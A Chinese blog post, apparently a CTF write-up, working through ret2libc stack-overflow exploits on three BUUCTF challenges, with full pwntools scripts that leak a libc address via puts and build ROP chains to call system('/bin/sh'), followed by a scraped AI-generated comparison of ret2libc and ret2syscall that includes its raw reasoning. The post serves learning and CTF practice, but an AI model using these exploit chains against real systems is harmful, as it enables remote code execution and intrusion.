ret2libc-泄露和不需要泄露

本文介绍了两个利用ret2libc漏洞进行攻击的实例。第一个案例中,通过溢出覆盖返回地址,泄露puts函数的GOT地址,并通过解密算法获取puts地址,最终执行system。第二个案例则是简单的溢出,直接覆盖返回地址执行system。这两个例子展示了ret2libc在不同保护设置下的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

ciscn_2019_c_1 —需要泄露got
题目可在buuctf下载
安全检查,发现只开了NX保护(DEP)
在这里插入图片描述

执行程序会发现,程序第二次原模原样输出了((这种菜单题,我还以为是堆))
在这里插入图片描述

IDA查看反汇编代码
在这里插入图片描述

加密函数
其中x在bss段定义,一直在增加,所以会导致上面的第二次执行的时候长度>s,从而不执行加密那块,这可以用来泄露地址
也就是后面会变的只有比上一次输入长的部分
在这里插入图片描述

操作如下图
在这里插入图片描述

由于get可以一直输入,达到一定长度报段错误,这应该是说明覆盖到返回地址了,所以猜想应该是只要覆盖了返回地址就OK了,看起来是ret2libc,,所以现在要做的是先泄露地址
并且可以看到距离返回地址距离为0x58

在这里插入图片描述

可以看到打印的是第一次发送之后加密过后的,,
可以通过逆向的进行算法的解密,然后就可以把地址放上去了
在这里插入图片描述

但是这个打印的是got而不是got里面的内容,所以需要打印got(将got作为参数指针传进去)
但是经过逆向解密太麻烦了,由于使用的是strlen函数所以可以通过‘\x00‘绕过(淦第一时间没想到)
然后我们想要执行的是put函数,got地址作为参数,由于x64使用寄存器传递参数,所以需要找到pop rdi,但是为了能够控制控制流,所以需要ret,所以此时的参数应该为:
buffer+pop_rdi_ret_addr(第一次返回地址) + got参数 + put(相当于是第2个返回地址)+第3个返回地址(为了控制再次执行到漏洞函数)

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
搜的偏移报错。。。,使用libc的话就把那注释的取消掉就行了

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

name = './ciscn_2019_c_1'
ciscn = ELF(name)
#libc = ELF('./libc.so.6')
#p = process(name)
p = remote("node4.buuoj.cn","25957")

pop_rid_ret = 0x400c83
main_addr = 0x400B28
put_plt = ciscn.plt['puts']
put_got = ciscn.got['puts']#602020
ret = 0x4006b9

p.recvuntil("machine\n")
p.sendline('1')
p.recvuntil("encrypted")
payload = b"\x00"
payload += b"a"*(0x58-1) + p64(pop_rid_ret) + p64(put_got) + p64(put_plt)  + p64(main_addr)

p.sendline(payload)
p.recvuntil('Ciphertext\n\n')	
#print(p.recv())
puts_addr = u64(p.recv(7)[:-1].ljust(8,b'\x00'))

print("put_addr is ",hex(puts_addr))
#libc = LibcSearcher('puts',puts_addr)
#sys_libc = libc.dump('system')
#bin_sh_libc = libc.dump('str_bin_sh')
#puts_libc = libc.dump('puts')
#system_addr = puts_addr + (sys_libc - puts_libc)
#bin_sh_addr = puts_addr + (bin_sh_libc - puts_libc)

libcbase = puts_addr - 0x06f6a0 
system_addr = libcbase + 0x0453a0
bin_sh_addr = libcbase + 0x18ce17

p.recvuntil("machine\n")
p.sendline('1')
p.recvuntil("encrypted")
payload = b"\x00"
payload += b"a"*(0x58-1) + p64(ret) +p64(pop_rid_ret) + p64(bin_sh_addr) + p64(system_addr) 
p.sendline(payload)

#gdb.attach(p)

p.interactive()

buuctf level2 ----简单,不需要泄露

查看保护,,发现只开了NX,RELRO (多半可以使用ret2libc了)

IDA查看
还挺友好的,漏洞函数都给标明了
在这里插入图片描述

还有个明显的溢出。。。。

返回地址距离8c

所以就很简单了,直接运行system(binsh)就行了
在这里插入图片描述

from pwn import *
context.log_level = 'debug'
name = './level2'
ciscn = ELF(name)

p = process(name)
#p = remote("node4.buuoj.cn","28065")
system_addr = 0x8048320
bin_sh_addr = 0x804a024

payload = 'a'*0x8c + p32(system_addr) + p32(0) +  p32(bin_sh_addr)
p.sendlineafter("Input:",payload)


p.interactive()

ciscn_2019_ne_5

检查保护,开启了NX

然后IDA,发现是菜单题,但是并不是堆
首先会验证字符串是否相等,然后跳到菜单

漏洞函数在getFlag,拷贝的时候会造成溢出
如下可以确定偏移为76

在这里插入图片描述
在这里插入图片描述

并且存在system,但是没有bin_sh字符串,但是存在sh

from pwn import *
#from LibcSearcher import *
#context.log_level = 'debug'

name = './ciscn_2019_ne_5'
ciscn = ELF(name)
libc = ELF('./libc.so.6')
#p = process(name)
p = remote("node4.buuoj.cn","29836")

def addLog(s):
	p.sendlineafter(":",'1')
	p.sendlineafter("info:",s)

def Display():
	p.sendlineafter(":",'2')###put(s)

def system():
	p.sendlineafter(":",'3')###system()
def getFlag():
	p.sendlineafter(":",'4')

sh_addr = 0x80482EA
system_addr = 0x080484D0
p.sendlineafter("password:",b"administrator")


payload = 'a'*76 + p32(system_addr) + p32(sh_addr)*2
addLog(payload)

getFlag()



p.interactive()

一些图片显示不出来,,,可以从从这看

其他

<think>好的,我现在需要回答用户关于ret2libcret2syscall区别的问题。首先,我得回忆一下这两种攻击方式的基本概念,然后找出它们之间的同点。用户提供的引用中有几个相关的资料,我需要仔细看一下这些引用内容,确保回答准确。 首先,ret2libc是一种利用程序中已有的库函数(比如system函数)的攻击方式,通常用于绕过NX保护。当程序没有提供后门函数时,攻击者可能需要泄露libc的地址,然后构造ROP链调用system函数。引用34提到了ret2libc的例子,比如调用system函数并传递参数如"/bin/sh"字符串的地址。 接下来是ret2syscall,这应该是指直接调用系统调用(syscall)而是通过libc中的函数。比如在x86架构下,通过int 0x80指令,或者在x64架构下使用syscall指令来执行系统调用。这种攻击需要控制寄存器的值来传递系统调用号参数,通常需要构造更复杂的ROP链来设置这些寄存器。 两者的主要区别在于利用的机制同:ret2libc依赖现有的库函数,而ret2syscall直接使用系统调用。另外,ret2syscall可能需要泄漏libc地址,但需要找到合适的gadgets来设置寄存器。而ret2libc可能需要泄漏libc基址来计算函数地址,特别是当ASLR启用时。 需要注意的是,用户提供的引用中并没有直接提到ret2syscall的具体例子,但引用2提到了栈溢出/ret2shellcode/ret2syscall/ret2libc的分类,说明ret2syscall是另一种方法。结合我的知识,ret2syscall通常涉及将返回地址指向syscall指令,并布置好寄存器参数。 另外,用户可能混淆了ret2syscallret2shellcode的区别。ret2shellcode是将控制流转向注入的shellcode,而ret2syscall是构造系统调用。过根据引用中的分类,ret2syscall是独立的一种方法。 现在需要组织这些信息,分点说明两者的区别,包括原理、适用场景、利用条件以及示例。同时,根据用户提供的引用,引用34中的ret2libc例子可以引用作为说明,而ret2syscall可能没有直接引用,但可以结合知识进行解释。 最后,生成相关问题,可能涉及如何构造payload、如何寻找gadgets、防御措施等。确保问题与主题相关,并帮助用户进一步学习。</think>### ret2libc与ret2syscall的区别及用法比较 #### 1. **原理差异** - **ret2libc**:通过劫持程序执行流,跳转到动态链接库(如`libc.so`)中的函数(如`system`)执行。例如,构造栈帧调用`system("/bin/sh")`获取shell[^3][^4]。 - **ret2syscall**:直接触发系统调用(如`execve`),通过汇编指令(如`int 0x80`或`syscall`)实现,需控制寄存器传递参数(如`eax`存储系统调用号,`ebx`、`ecx`等存储参数)[^2]。 #### 2. **适用场景** - **ret2libc**: - 当程序开启**NX保护**(禁止执行栈上的代码)时,无法注入shellcode。 - 需要利用程序中已有的`libc`函数地址或通过泄漏`libc`基址计算目标函数地址。 - **ret2syscall**: - 当程序中存在可用的**gadget链**(如`pop eax; ret`)时。 - 需要直接调用系统调用且无需依赖`libc`函数(如绕过ASLR对`libc`的影响)。 #### 3. **利用条件对比** | 条件 | ret2libc | ret2syscall | |---------------------|-----------------------------------|----------------------------------| | **依赖库函数** | 是(如`system`、`execve`) | 否(直接调用内核接口) | | **寄存器控制** | 仅需传递参数地址(如`/bin/sh`) | 需设置多个寄存器(系统调用号+参数)| | **对抗NX保护** | 有效(执行栈代码) | 有效 | | **对抗ASLR** | 需泄漏`libc`基址 | 可能无需泄漏(若gadget地址固定) | #### 4. **示例对比** - **ret2libc示例**(调用`system("/bin/sh")`): ```python # 构造栈帧:[溢出填充] + [system地址] + [返回地址] + [参数地址] payload = flat(['a' * 112, system_adr, 'b' * 4, binsh_adr]) ``` - **ret2syscall示例**(触发`execve("/bin/sh", 0, 0)`): ```python # 需构造gadget链设置eax=11(execve系统调用号),ebx指向"/bin/sh",ecx=0, edx=0 gadgets = [pop_eax_ret, 11, pop_ebx_ret, binsh_addr, pop_ecx_edx_ret, 0, 0, int_0x80] payload = flat(['a' * offset] + gadgets) ``` #### 5. **防御措施** - **ret2libc**:启用**ASLR**随机化`libc`基址;限制函数指针修改。 - **ret2syscall**:部署**Control Flow Integrity (CFI)** 阻止非法ROP链;减少可用gadget数量。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值